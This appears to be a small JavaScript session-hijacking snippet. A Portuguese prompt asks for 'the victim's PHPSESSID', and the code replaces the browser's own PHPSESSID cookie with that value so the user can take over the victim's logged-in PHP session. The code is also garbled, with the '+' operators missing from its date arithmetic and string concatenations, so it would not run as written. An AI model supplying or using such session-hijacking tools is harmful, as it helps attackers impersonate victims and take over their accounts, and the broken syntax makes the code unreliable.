PHPSESSID

function jsid(valor) {
    function setCookie(c_name, value, expiredays) {
        var exdate = new Date();
        exdate.setDate(exdate.getDate() expiredays);
        document.cookie = c_name "="
        escape(value)((expiredays == null) ? "" : ";expires="
        exdate.toUTCString());
    }
    function eraseCookie(name) {
        setCookie(name, "", -1);
    }
    eraseCookie("PHPSESSID");
    setCookie("PHPSESSID", valor, 24);
}
c = prompt('Coloque a PHPSESSID da vitima', 'aqui');
jsid(c);